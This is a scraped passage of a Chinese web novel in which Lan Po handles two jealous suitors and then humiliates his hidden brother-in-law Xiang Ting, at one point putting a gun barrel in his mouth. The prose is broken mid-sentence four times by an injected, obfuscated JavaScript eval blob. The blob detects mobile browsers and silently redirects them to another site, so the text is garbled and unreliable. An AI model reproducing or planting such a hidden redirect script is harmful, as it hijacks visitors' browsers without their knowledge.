l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398202|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天再求,挂掉之后,他让费曼去书房帮忙算一笔账。白谟玺幸灾乐祸,掏出一副惠斯特牌,假模假样地发出邀请,问费曼要不要留下来玩。 客厅好不容易只剩下两个人时,蓝珀又马不停蹄地进入下一场电话会议,开始与另一家银行针对利润分成的口角。期间他没有理会过白谟玺,淡淡的眼神都没给一个。白谟玺把一只沙发靠枕从背后抽走,过了会儿气更不打一处来,干脆抄起蓝珀腰后的另一只枕头也拽出去。 摩根士丹利在那边有点不高兴,问为什么这次在他们出钱的合作项目里,广告上全是高盛的名字,好名声也都让高盛拿去了?蓝珀挺迷糊的,说既然是高盛操盘的项目,摩根士丹利凭什么还想分一半的利润呢? 争论差一点就恶化成谩骂。危急关头,蓝珀说:“算了吧,两边都这么强硬的婚姻,肯定撑不长。吃点亏也就吃了,总想着卖高买低,到头来心情和效率都不好,还困在那些小利益里,忘了我和你一开始交易的真正意图了呢。” 对方似乎对他额外的友善感到惊异:“好吧,我也是想避免一地鸡毛的事情发生。Lan,竟然忘了先问候一下,这么晚了不会打扰到你吧?” 蓝珀笑了笑:“你怎么有这么可怕的想法?如果连你都不能打扰我,那还有谁能呢?” “一言成交,一言失交。和你聊天总是那么愉快,难怪曼哈顿的达官显贵,名流大亨都喜欢与你结交。” 下面尽是没营养的废话,对方关切地问,你还没睡呀?蓝珀笑得更柔和了,语气轻快,我没睡呀,要是睡了我怎么接你电话呢? 两人一直聊个没完,蓝珀要么问问冷暖,也诉上两句苦,但基调永远是哀而不怨。过了会,话题终于又回到公事上来,依旧没谈拢,双方寸步不让。蓝珀说:“不说了,就是你害得我浪费了一点感情。”对方低声笑道:“那一点是多少?还浪费了什么?我不敢想。” 突然间,手机被抢走了。白谟玺啪的一下把手机翻盖合上,显然他已经受够了蓝珀在一大团乱七八糟的关系中兜兜转转的样子。 白谟玺目光搜照灯一样停在他脸上,抑郁中混杂着责备。 蓝珀被这一幕搞得小小惊了一下,貌似有点措手不及地问:“你的红酒喝完了吗?” “我已经享受完这瓶佳酿了,眼下该谈谈我们之间的事了。” 蓝珀把手背搁在他的额头上,感受了一下温度,确认是否高烧导致了疯癫,说:“在那之前,让我为你准备一点特调吧——我得先给你泡点符水喝。” 蓝珀仔仔细细地用湿纸巾擦干净手,毫不留恋地起了身,走去衣帽间。蓝珀将就寝视为一种仪式,一种每晚与世界温柔告别的典礼,他的整副睡眠装备重逾二十斤。 项廷连忙将衣柜的门关死,庆幸的是,蓝珀要换的另一套睡衣不在这个柜子里。项廷侧耳听了一阵,那是各色银饰撞击的悦耳声响。 蓝珀翻出一只小盒子,用指尖挑出一点油,撩起衣摆,又伸进细腻如丝的长筒睡袜中,朝车祸受伤的大腿根那抹去。 就在这时,白谟玺敲了门。蓝珀暗示他不要犯病,别一天到晚兴兴头头的。白谟玺温柔似水地说:“刚刚小小病了一场,已经好透了。” 咔——银链优雅地垂落,银坠轻轻摇曳,银铃铛拨动清纯的音符,银质的脐钉如同一颗月光下的圆露,蓝珀耳根子软,去开了门。 砰!白谟玺推门之后立刻重重摔上。 蓝珀几乎没有任何防备,瞬间被他牢牢拥入怀中一路火花带闪电连退了好几步,他们之间的距离被压缩到不能再小,两人的呼吸在狭小的空间中猛烈碰撞。白谟玺一只手臂支撑在蓝珀身侧的柜面上,另一只手则不由分说地环住了他那绸缎般柔滑的腰身。蓝珀后背紧紧贴在了衣柜冰凉的表面上。就是项廷藏身的那个衣柜。 16. 玉手琵琶弹初罢 外头什么鬼动静? 项廷一下子万分迷惑,但红酒的香气钻进柜子里,下一秒那两人的甜言蜜语近在咫尺之间,再想不懂也不可能了!项廷的耳朵跟着脸一块急速升温,又尴尬,又愤怒。 自己生气,可蓝珀生气吗? 一个有妇之夫被一个野男人按在角落里耳鬓厮磨,他本人为什么一副司空见惯的样子? 白谟玺看来,蓝珀的反应亦在意料之中。 蓝珀似乎是一个被过度保护的人。这种人有一个明显特征:当受到“攻击”时,他们既不会还手也不会火大,而是感到疑惑和茫然,有时甚至会呆住。他只是不理解为什么被“攻击”罢了,好像从未见识过邪恶,无法辨认坏心思。没被火烧过的孩子想象不到火的危险一样,哪天他跳进火里头,兴许就知道了。 蓝珀仿佛没觉得被冒犯,只是面对面的老相识,突然变成了一个看不懂的陌生人似得。 但是蓝珀确实很不喜欢自己的腰被抓着,便攀住白谟玺的肩膀掰了几下,挣好像又挣不开。 白谟玺稍微回过神来,松开了手,但另外的手还撑在那儿,把蓝珀圈在一个小空间里,眼神直勾勾地锁定着他。 蓝珀说:“你好像一只猫刚闻完那个猫草,讲点酒品吧。” “别叫。”白谟玺一边把旁边播放着轻音乐的音响声音调小,一边说,“算了,叫吧。你大可以叫,把你的英国情人叫来看看,也把藏在你家的其他男人都叫出来团建一下。” 白谟玺当然只是一句扫射,但是听者有意,项廷把衣柜里头的扶手抓得更紧了。 本来蓝珀家这么大,隔音太好,三个人又讲高深莫测的古英语,项廷只能情见乎辞地猜测他们大概在争风吃醋。现在好了!他们就在隔着一块木板的地方,还切换成中文了,项廷从没这么希望自己变成个不认识中国字的美国人。 两个食指把耳朵塞住,那声音还是该死的清清楚楚。啊! 蓝珀说:“你现在是爸爸把我当孩子管吗?而且,也没有别人了呀。” “那个人呢?” “费曼?他只是陪我加班吧?”蓝珀微微诧异,在灯下发着小呆。 “他赖着不走了,为什么?”白谟玺仿佛要把他盯穿。 “我怎么知道?就算我知道,我是诸葛亮呢,诸葛亮的算盘别人不能问,不然就不灵了,他借东风告诉谁了没有?” “所以你知道。” “我真不懂,我从没见过像你这么难说服的人。” 白谟玺听出话中有一条狐狸尾巴,就捉住了它:“那你以前还说服过谁?说服过几个人?” 蓝珀看他那着急的样子,忍不住哧的一笑:“没有,没有。” “你那个没有没有听上去怎么就像有有有?” “骗你吗?骗你干什么?谁有勇气骗一个聪明的男人,特别是像你这样情深义重的聪明男人?” “骗我干什么?凭你这句话就值得怀疑。你老实交代,既往不咎。” 蓝珀想了一会:“人刚出国时都是会有一点经历的,但那都过去了。” 项廷被迫偷听到这,想说hold on hold on,你蓝珀刚出国那会就已经跟男人乱搞了,那你还来祸害我姐?! 白谟玺动了动喉咙,原本打算轻咳几声,警示蓝珀接下来的话不要撒谎似得。但蓝珀已经开始说了,白谟玺就放弃了。 蓝珀说:“我最早去英国上学的嘛,费曼是我同系的高年级学长,滑雪社的社长。” “大学还是高中?” “他在伊顿念高中,我怎么可能去呢?” 白谟玺感觉自己问了句废话,其实这些事他都反复查证过,一清二楚,只是想再让蓝珀亲口说一遍罢了。 “继续。” “后来?我来到了美国,你爸爸收养了我,我就搬到你们家来住了,开始叫你哥哥了呀。从那时起,我们就再也没有联系过,他什么时候来到美国的,我完全不知道。” “那你们……Lanny,我要是说,希望你们没做过一点坏事,是不是太小心眼了,也太不可能?所有的男人都是贼。他是男人。” “是男人也算理由啊,听不懂。谟玺呀,都这么晚了,你就饶过我吧。” “是啊,已经太晚了,太晚了。等会我要在你家洗一个澡了,都怪你让我身上热烘烘的睡不着,只好用冷水降降温了。你别问为什么,不然一个个都憋死了。不行,你马上去问问,有几个人追求你七年了还这么一尘不染?去年夏天,你在家里游泳,我才刚下水,你就尖叫着跳了出来。你让高盛给你的办公室安装专梯入户,就因为你觉得别人呼出来的气都不够干净,是不是连路边的风吹过都得先过滤一遍?都什么年代了?正常吗?都是人吧?” “肯定呀。”蓝珀圈着手指,弹了弹自己的脸颊,“听听,肉做的呢,听听,这是铁的声音吗?我错就错在是肉做的,肉呢。” 白谟玺被他千回百转的话弄得有些恼怒:“别肉肉肉的,好像谁会惦记,你那点肉啊肉有多么神圣!” “好吧。那你就放手吧,睡觉前,我还想去阳台上坐会儿。” “去干吗?去幽会?” “去月亮下面吸收月亮能量。” 要是往常的白谟玺,听到这话至多有点哭笑不得,还会觉得他娇痴可爱。可是今天呢,他感觉对蓝珀各种怪力乱神行为的忍耐,就像散兵游勇,凝聚起来,已经在胸口凝成了一个清晰的讨厌的结,成为了一支十字军。 白谟玺说:“Lan,如果你只有一个坚定的信仰,酷爱神秘学,我还能接受,但是前年我陪你回中国,你在乡下路过个土地庙也要去烧两柱香。你今天信这个,明天又拜那个的态度,会让我觉得你像个蝙蝠。就因为蝙蝠身上长着毛皮,被鸟类排挤;又因为它们长了翅膀,老鼠们也不接受。” 蓝珀渐渐睁圆了眼睛,也许因为客厅里冷气足,这小房间温度相对很高,他的睫毛仿佛半融的冰淞,若有所失、清晰而慢慢地说:“不是蝙蝠,也不是老鼠,我是苗族人。” 白谟玺哪里不知道自己空前绝后地失言了,可他又自觉太爱他了,胜于自己,爱他就伤害他,让白谟玺产生一种近似青春期自残的快意。微醺时,这感觉更强烈了。 于是,白谟玺不但没有刹住车,还鬼使神差地说了下去:“那请问你苗族的老家里还有人吗?” “一个人都没有了。”蓝珀梦呓似得,“我是有债要还的人。” 白谟玺握住他的肩头,这回蓝珀一点反抗都没有,像个大号雕塑摆在那供人观瞻抚摩。 这让白谟玺忽生歉疚之心,心一软,都噗噗冒酸水了:“宝贝,我没别的意思,就是想问问你,在英国的时候,生活上费曼有没有帮你的忙?如果有,我帮你还给他,仅此而已。” 蓝珀说:“最开始出国的那部分钱全部是项家出的,早就还清了。” 等一等!等一等!项廷大脑擦了油一样光滑,容他捋一捋。 目前为止,也就是说——蓝珀靠着自己家的资助,第一站先到了英国和某学长你侬我侬,紧接着飞跃美国跟寄宿家庭的兄弟谈情说爱?那画面得多戏剧啊!这故事线还没画上句号,他就回头跟恩人家的女儿扯了结婚证,妻子辛辛苦苦大着八个月的肚子,丈夫却在大洋彼岸“后院起火”的剧本里频繁亮相,成天盛装舞步于一众妒火腾腾的绿帽奸夫之中穿行不息? 项廷的怒气火山喷发,推开柜门,就要冲出去当面质问。 却被外力压了回来。 门缝只开了一丁点儿。项廷本就是坐在柜底的姿势, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398203|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝珀不但早有所知地压住了门,一只手还探进来一下子就摸到了他的头,按了回去,拇指特别地在他耳朵的软骨上夹住摁了摁,既不像是揉,也谈不上拧。 可从那只手腕上飘散出的浓郁香气,似乎和那一大束紫色的花是同一种。 刚才凭借愤怒的意志强行清醒几分的项廷,好像一头栽进了一个软绵绵的迷魂阵里,令人神魂颠倒的温柔陷阱,让他沉沦。一种细细的温情在身体内游动,似乎是圆的,又像是条的,或者干脆就是一条鱼,游。 项廷伸手去拂开他的手,可蓝珀却反而跟他十指紧扣了起来。 蓝珀本就用全身挡着柜门,加上他及时旋开了音响的按钮。那歌还是白谟玺献唱的,他的声压太强了都把伴奏压了下去。 更关键的是,就在这时候费曼敲响衣帽间的门,成功吸走了白谟玺的全副注意力。白谟玺又怎么会想到自己里里外外都被敌人团团包围了呢? 白谟玺正抓紧最后的时间,说:“你别生我的气,我实在是太……太喜欢你了。我的心一直在你身上,Lanny,不要说再等七年,等七天对我也是一个考验,我多想和你好好地在一起。” 蓝珀不笑也带三分笑,轻轻地问:“我想不想?” “……给我理由。” “因为——”蓝珀的手指正和妻弟的缠绕在一起,彼此的体温在掌心交融,“我不喜欢比我小的。” 白谟玺愣了一下,忽的一松劲儿,囚住蓝珀的手也随之落了回来,因为他被完完全全地被气笑了。 一点情绪都没有了,白谟玺难掩嘲弄的神情:“我比你小?小三个月零三天也算比你小?” “小一个小时,小一分钟也不行。” “你刚才还叫我哥哥!” “你就是我的孪生弟弟也不行。” 白谟玺的心对他道了千百次再见,可蓝珀却连瞅也不瞅他。白谟玺从未饱受如此屈辱:“蓝珀,你撒谎怎么那么从容?你到底和多少男人都做过多少坏事?” 白谟玺像一个被解除了文明枷锁的人,完全忠实于自己的本能被它推动着走了。空气因此再次炽热无比。 费曼眉眼漠然地打开门,闯入眼帘的便是这一幅扑食画面。他看见的白谟玺那样简直让人想到瘾君子,非吸这一口不行;白谟玺眼中的英国佬更是十年孤寡求而不得的心理有很大问题的神经病。 蓝珀双手抵在白谟玺的胸前,全身都在用力的样子,唯独一双眼睛只望着费曼。 外头为什么突然鸦雀无声了?蓝珀握着他的手,也走神一样垂了垂。项廷获救似的抓住这个机会,刚想一鼓作气推门出去,只听,天塌了。 蓝珀依旧站在原地,背靠在柜门上,就像发了个深深的誓,手紧紧握着项廷的手不放。蓝珀另外的手拿起手机,按了三个数字。 十分钟后,英国落跑王子与美国望族长子因入室斗殴被911双双逮捕。前者进入战局前甚至调松了袖箍,相较之下后者实在豪迈,事主家中电路因此损坏。 整个客厅山河破碎,那颗完美无缺的巨型水晶球在冲突中不幸成为第一个牺牲品。墙上的白银蚩尤头也被无情震落下来,一地的残片反射着凌乱而冰冷的月光线。 警察挟嫌疑人撤离现场之后,满屋再次归于死寂。项廷听到一点脚步声,姐夫他是走了吗?是不是去浴室了? 捱了整整三个小时,项廷终于得以逃出衣柜。大半个身体都麻了,踉跄着几乎是滚出来的时候,那块手帕又不听话地掉到地上。 一片漆黑中,他急忙伸手去捡。夜的深处,他忽而听到净亭亭、步盈盈的荷上露,自叶尖滑落到静美的水面,而发出的清冽到极致的声音,恍如一捧明珠落入彩云,那天籁正来自一只银丝的足环。接着项廷的手,就这样被不轻不重地踩住了。 17. 今辱胯下韩将军 项廷想把手抽出来,或者站起来,但都做不到。如堕五里雾中,迷香的作用让他对身体根本没有控制了,跌入了一个失重的空间。像个皮球被不可知力踢来踢去,最后滚到了墙根那儿,靠着墙勉强半坐起来:“还给我……” 手帕天女散花似的飘了下来,轻柔地落在了项廷的小腹上。项廷攥住它,正要站起来,手背连同那一整片的腹肌,再一次地被踩住了。 掖满了银狐毛的鞋子,宛如月夜下轻盈舞步的精灵,在霞光万千的云海羽衣蹁跹。蓝珀眼睛细了一下,亮闪闪的,居高临下地说:“在地上爬着很适合你,你得习惯这样。” 项廷好几次捉住他恶作剧的脚踝想把它赶走,可是蓝珀依旧一深一浅地踩着他的肚子笑道:“仅仅是为了测试一下,你是不是晚餐吃得太饱了,才会想着偷偷摸摸潜入我家?” 沉闷而屈辱的声响在小屋子里回荡。痛楚导电似得传遍整个脊梁,喘息都成了折磨。但蓝珀显然是控着劲的。项廷的每一丝肌肉却都在为了承受这份重量而努力,紧绷的背脊被大理石雕刻而成,矫健有力的年轻□□眼下不过是一块供人践踏的热泥。 蓝珀不仅手腕含香,他整个人就如个大瓶的香薰,所过之处都变成了一座座香氛堡垒。而项廷,每经历一分痛苦,昏沉也就加深一层,只能断断续续地解释道:“完全是误会,我以为你家进贼了,我真的不知道这是你家……” 蓝珀说:“哦,真是个天才的借口啊,是月食把你变成这样的吗?” “不是!”项廷几乎是在呐喊,头脑混沌中不忘困惑,“那你呢?你又怎么知道我在这,你、你有透视眼吗?” 蓝珀只说:“有错就罚,这都是你该受的。” 可项廷的心里也还扭着个结: “我有错,你自己呢,一点责任都没有吗?” “别急着证明自己,在说梦话吗?继续做梦吧,至少做梦不费力。” 一股激动的情绪愈发挤压着喉咙,项廷想也不想,这就爆发出来:“我姐都怀孕八个月了,你跑去搞外遇,还跟一群男人!而且不是一个两个,你把他们全都带回家……!是谁在梦游?我自己两只眼睛看到的,你怎么能这样对我姐?记得是谁送你出国的吗?就是我家!这就是你所说的感激和回报?” 项廷的火力网猛烈而宽广,古往今来蓝珀的所有罪行都被囊括进去了,句句话扎在穴位上。 面不改色地听完这番指控,蓝珀头微微仰起来侧到一边,好像在仔细观察天花板上的一只白玉蜘蛛。项廷这时有多愤怒失望不解,蓝珀此刻就有多轻松坦荡大方:“没错,这就是我,你能怎么样?” 他毫无刚刚叫情人心猿意马、似乎连花枝都不愿折伤的温柔姿态,现在你笑他比你笑得还痛快,你聊他比你聊得还直率。是啊,我跟你姐姐的婚姻就是一种表演,一段谎言,一个骗局,蓝珀的潜台词仿佛正是这个,无他。 一月不见,项廷不觉因姐夫的成就而美化、高贵了他的人格,时至今日,心里居然有一丝的不敢置信:“真是这样!” 蓝珀说:“是啊,有力就得借,不要管力出自哪,只要你成功了别人也没人敢说三道四。” 项廷只想打人,猛一下站起来要掀开蓝珀。 但似乎,今夜这无尽的羞辱才刚刚开始。 蓝珀皓腕纤细,凸显他手里的东西硕大无比。 “把嘴张开。”蓝珀说,声音十分可亲。 顶着项廷的满身煞气,蓝珀把一支枪管塞进了他嘴里,满满当当的,枪上面有股杏仁油的香甜味道。 纽约州法律规定,主人有理由开枪击毙任何非法入侵者。 蓝珀说:“对,别发狂犬病,慢慢后退。你乱动或者我没站稳,你的后脑勺就没了。所以,一定要小心,不要总是给别人添麻烦。” 枪管上的准星硌到了他的牙齿。项廷一个字也说不出,只能先在性命的胁迫下,慢慢从衣帽间退到了满地狼藉的客厅。 “今天站太久了,有点累,我得坐下休息下。但要保持这把枪在它该在的位置,你好像只能跪在我面前。小心,全都是玻璃。”蓝珀跟他说话的方式就像医生对待病人一样。 蓝珀在靠椅上坐下。项廷的嘴里始终含着枪管。 蓝珀柔和而平静,右手食指按了按他的鼻尖:“乖就对了。看在我们都不希望情况变糟的份上,不要犯下任何错误,就可以避免不愉快的事情。大家都知道我喜欢用酷刑,可我不想杀你,但杀了你也无妨。你能明白我的好意吧?” 单纯的暴力是镇不住项廷的。可项廷的眼睛死死地盯着那把枪,它明晃晃地上了膛,随时随地可能走火。死亡离他只几步远。别无选择。他神色沉抑地点了点头。 “那么,我来给你解释一下。”蓝珀放慢语速,慢到确保对方可以听懂每一个字。 蓝珀往后靠了靠椅背,项廷甚至不得不跟着他的动作把头向前倾。 “你爸爸的确曾经帮过我,可我们之间也有点积怨。所以他把你送过来,让你既监视又控制我,是这样吗?” 蓝珀停了一会,直到确定项廷情绪正常地理解了他的话,才继续说:“你可以吐掉嘴里的枪回答,答完后再自己把枪塞回去。就这么简单。” 即使项廷觉得这个问题莫大的莫名其妙,可他好像不必多加思考,只需跟着蓝珀的指令亦步亦趋就行了。就像孩子总得会学着适应一切一样。 项廷开口道:“我来上学,而且我爸他……” “闭嘴。”蓝珀打断他,声音变得有点严厉起来,“含回去。” 蓝珀说:“你的故事太长了,我不想听小说。我只想知道你爸爸的真实目的。好好想怎么说,想好了再张嘴。你只能说一句话。” 项廷刚尝试着把脑袋后移,吐出枪管,蓝珀便顶着他的舌头往喉咙深处进了进,猛地压着人只想呕吐。同时他的脚还下午茶消闲般搭在项廷的大腿、膝盖上,仿佛一松开项廷就像只氢气球腾空而去,或者直接暴起。 蓝珀说:“千万别让口水弄脏了我的地板,你的小涂改液也是。” 项廷真的没什么可供的,他一问三不知,他只觉得蓝珀喜怒无常,一定有被害妄想症。他的舌头干涩肿胀,嗓音听起来有点哑:“我爸病了,都不知道我出国。” 这话貌似取信了蓝珀,他轻笑一声:“配合得不错,接下来站起来,要慢,关键在于慢慢来。我将把枪从你口中取出,你向门走去,我紧随其后。出发之前,你还得知道一件事。枪里装的是特殊弹药,它含有一滴甘油。如果你突然转身袭击我,我就只能开枪。甘油会在你体内爆炸,你将尸骨无存。” 蓝珀的枪顶着他的后腰,另外的手绕到项廷的小腹那,覆了上去。项廷感觉肚子上像被抹了一大坨精炼猪脂,一个男人的手为什么如此靡腻?像上海女人牌子的老式雪花膏。 蓝珀忽说:“那你有没有吃过脏东西?它不能留在你的身体里。要是它在,你的灵魂就被禁住,难怪吃什么药都吃不好。” 蓝珀好像在摸一只在肚皮上跳动的压根不存在的软虫,他的手抚摸揉弄一阵,那紧实的地方终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398204|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松动一点。可项廷完全不知道他突然发疯,馨香祷祝,作的什么法,只觉得他气量狭窄、信仰偏激的姐夫一说奇怪的话就该把他往精神病或心理问题方面联系。 灯是全灭的,他们一直在说黑话。簌簌的轻响,那是蓝珀一身摇动的银饰、如沉甸甸的花朵交错的音乐。蓝珀的声音听来更有一种不绝若线的幽远,是时间深处传来的,他好像一个永远不能被揭穿的迷。夜在房间里荡漾,渐渐地深了,更清凉了,给人物质般细雨迷濛的感觉。 蓝珀把手放在他面颊上,慢慢地滑到脖子上,再滑下去。一下,又一下,恍惚里,自己的五脏六腑忍不住都被他摸得开始不对劲了,本来没有病,但这下子被那蛇头蝎尾的手又搔又挑地作弄一遍,蛊游到身体里边,在皮肉之间乱窜,神不知鬼不觉甩都甩不脱。是所谓,凡毒物,先是令人兴奋,最后陷入麻醉。 四周黑黢黢的,项廷的心咚咚跳得按不住。两团鬼火分明烧着了他,他又感觉下雨了,而蓝珀会在雨中被泡成一大朵滴粉搓酥的花。 谁能受得了这种吊在高处下不去的感觉?类似捧着自己的心脏交给了上帝,而上帝则在云端危坐,他的心就这样握在他的掌心里,于是他也就仿佛悬挂在天穹,随时都可能坠落。 蓝珀的手撩弄着他耳后根边上的一缕头发,像一条柔软温凉的蛇绕住他的脖子蜿蜒而行。甚至项廷听到了夏夜蛇掠过草丛时轻的嚓嚓声。蓝珀又用那只手顺势把他的耳朵扯了扯,这时的项廷已经像被点了穴道似的。蓝珀的每个动作都轻之又轻,项廷的脸色却一定像张纸。 蓝珀一根指头点了他的额头,手指在他额上连摁三下,项廷全身像被一串激烈的电针滚过。 驱邪仪式结束。最后蓝珀将一枚信封放到项廷的嘴里,笑了笑:“叼好了,然后别再玷污我的视线。” 大门关上了,拒人于千里之外的门闭得风雨不透。 蓝珀背靠着门,深深地缓了一会。他迫切地需要换换空气,去阳台上点了一根烈烟,吐出的烟圈儿淡得几乎看不见。烟抽到一大半,他这才把手枪里的子弹退出来,一颗颗,全是空包弹——要是真走火了,打在嘴巴里也跟跳跳糖没两样。 早在两个小时前蓝珀就发现他了,就在四处去找那两个客人的时候。蓝珀本觉得冷,想添一条披肩,打开柜门,里头就蜷着一个睡得正香的大男孩。要是项廷稍微不那么粗心,他醒来第一时间就该发现,膝上多了一条暗香流动的狐皮毯。 蓝珀走回客厅,月光下低头一睐,陪伴他十多年如同至亲的大水晶球就这么碎光光了。他感觉心脏疼不敢大抽气,黯然地蹲下来准备收拾,可他现在甚至想和抹布飞快地大吵一架。不行!找点什么陪葬。 要是他早一点上去拉架,也许水晶球就不会碎。可是项廷也必然跑出来,他真朝那两人打过去怎么办?费曼的修养固然值得信赖,白谟玺可从来不是白白受气的主。 蓝珀把颈后吊肚衫绒绒的蝴蝶结解了,从外罩的纱衣里一整件地抽出来,除掉长统丝袜后的他只剩下一袭肉色的光洁丝绸睡衣,一声不响地躺在床上。侧卧着随便把一本书翻得哗哗响,翻了一会儿,不翻了,把手搁到胸上,仿佛生涩地摸一摸心还能有多硬。不肯睡,也睡不着,闭上眼就映现出项廷那浑然不知睡着的傻样。那臭屁小鬼是不是还以为自己躲猫猫藏得多好?闷头睡过去就能像人参果一样遇土而遁了?又想起刚刚命令项廷叼走的信封,那里头装着费曼的推荐信。自己匆忙间还没有逐个抠着字眼审阅过,也不知道费曼老老实实大书特书好话了没有? 18. 记得芳草绿罗裙 这事从头说起,白希利一脚踏进蓝珀的豪宅,才溜达了没几分钟,就被一路尾随上来的保镖拿获,罗马假日就此打住。这才给项廷留下了一扇敞开的大门。 翌日一大早,白希利梅开二度溜了出来。这次他深明诸处皆当留心,裹着一条印度沙丽,逃得比兔子还快,狗都撵不上,跑到了项廷住的那条街,安全抵达大本营。 地下室的门没锁,白希利大摇大摆地走了进去。看到项廷还在呼呼大睡,本来打算戳醒他的,但突然觉得这一幕挺浪漫。 自己昨天大玩失踪,爸爸竟然没有差人来问一句;哥哥倒是半夜里来电,很大声。须知以前蓝珀“做法事”,他说自己害怕一切声音,哥哥那小半年吃饭都不敢嚼脆的东西!安慰的是,紧接着电话那头,哥哥也被爸爸训了。大意是爸爸说大家在一个道上混饭吃,锅里不碰到碗里碰到的。好像哥哥犯了特别大的错。 总之,白希利这时已经柔肠寸断,如果可以像古典文学中所描写的那样私奔,他一定会和这个舍命救下自己的穷小子私奔。哪怕浪迹到天涯海角,只要他们两人缠缠绵绵,管他王权富贵! 就在他暗下决心的时候,泪水一下子就决堤了,咸滋滋的眼泪滚过嘴唇滴下来,最后打湿了项廷床头的那封信。 白希利从小到哪都如入无人之境,本着普天之下莫非王土的心态,整个世界都是他的后花园,那他把平民的信拆开看看怎么了? 只见里头是一封推荐信,虽然说的话不怎么高调,但也是挺捧人的,落款的下面,还简简单单地写了个头衔。嚯,英国王室!和这个中国来的穷光蛋隔着七山八海放屁都崩不着的关系啊? 白希利只能想到,蓝珀从中作了梗。 为什么说是作梗呢? 因为自己已经想好,私奔是行不通的,他要项廷来跟自己上一个高中,朝朝暮暮,做同桌。 本来项廷黄种人,还是外来的,美国法律也没哪一条规定歧视他,可好机会就是永远轮不到他。可眼下那白谟玺加上费曼的推荐信,这下项廷和□□之子还有什么区别?岂不是全美的高等教育系统任我行了?还有必要回来念高中吗? 白希利难以置信地盯着这封信:蓝珀!怎么里里外外怎么都显着你了啊? 项廷睁眼,第一眼就看到了白希利那如同小花鹿一般乌黑发亮的眼睛,那张脸圆乎乎的,鼻子嘴巴没有长开,脸上的整套表情都很没有逻辑。 可是,项廷就那么盯着挂着一条浴帘的简陋洗手间,仿佛对白希利擅自闯入一点儿也不觉得意外。白希利却手忙脚乱,一只手背在身后把推荐信攥成了纸团,另一只手朝他一伸:“看,这什么!” 一份信用卡账单。 白希利偷偷弄了一张卡,平时用来买他和橄榄球队长约会时的一些“小道具”。因为没能及时还款,账单发过来了,他正好带在身上,本打算一会去银行秘密处理。 项廷今天一睡醒脑子就转得特别慢似得,他平时看英文也没那么快。只来得及看了标题和结尾,白希利马上收回去了:“这卡谁给你的啊,我看着开户也不是写你的名字,是不是你欠谁钱了,人家催你还啊!” 如此拙劣的临时扯谎,可偏偏正中靶心。欠的钱不多,不多不少正好一千三。这数字项廷是看清了的,尤记他欠蓝珀一千二,额外的一百,兴许是加息。合情又合理,他姐夫是这样的。 白希利:“我说对了吧,瞧,认账了认账了!” 项廷持续掉线中,白希利却明显地神采奕奕起来。白希利一副殷勤,好像他是一个立下了赫赫战功的大英雄,项廷没问一句,他却忍不住自爆家门。项廷似乎没有因为结识了这等豪门二少产生一丝一毫的荣誉感、成就感,相反,还有点淡淡的烦。 白希利忽说:“我要是一下子不见了,你真的不着急吗?只是着急呀?你会不会满世界去找我?” “为什么。” “哇,为什么?” 白希利拱上床来,朝项廷侧身躺着,一只手支撑着脑袋看他,另外的手抓了项廷的手预备在自己身上搞活动。他的嘴撮起来,像小猪八戒。因为项廷看上去很内敛很矜重,好像从来就没有恩呀爱地放肆过。他们中国人谈恋爱是什么样子呢,如果连手指头也没有碰过,这算不算恋爱,白希利不知道。 他下一秒就知道了。遭受了突如其来一击,牛蛙跳入水中央哇的一声响。 白希利掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398205|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下床,在地上连滚带爬了好几圈:“你干嘛!你干嘛!” 项廷嘴上说了句对不起,心里继续思想开小差。白希利撒泼打滚,顿时扬了他的大哥大:“好!你的手机摔了,未必脑壳也摔了?” 硬的不行就来软的,白希利豁然掏出一块方巾。这是他昨天潜入蓝珀家里时候,在茶几下面的抽屉抄检到的同款。白希利说我不装了,我乃田螺仙子,又将项廷那日来家里,对白谟玺所说后厨的都市传说,详细又生动地一股脑儿复述了出来,顶替得很努力。乍听有些道理,项廷细想什么玩意,不说话就吓得白希利一个激灵,紧咬着牙关不敢再出声了,悻悻地爬起来,抓着推荐信逃之夭夭。 听到加固的厚重防盗门撞上发出响亮声,好一会儿,项廷才放弃了两只眼睛盯着天花板,一眨不眨地,嘴唇却闭得很厉害。 他不断走神、烦躁,白希利的话一句也听不进去,都因为一觉睡醒,被子里竟有一种裹了冰激凌的清凉,他第一次。 腿有点酸,却也好像还有使不完的劲儿。 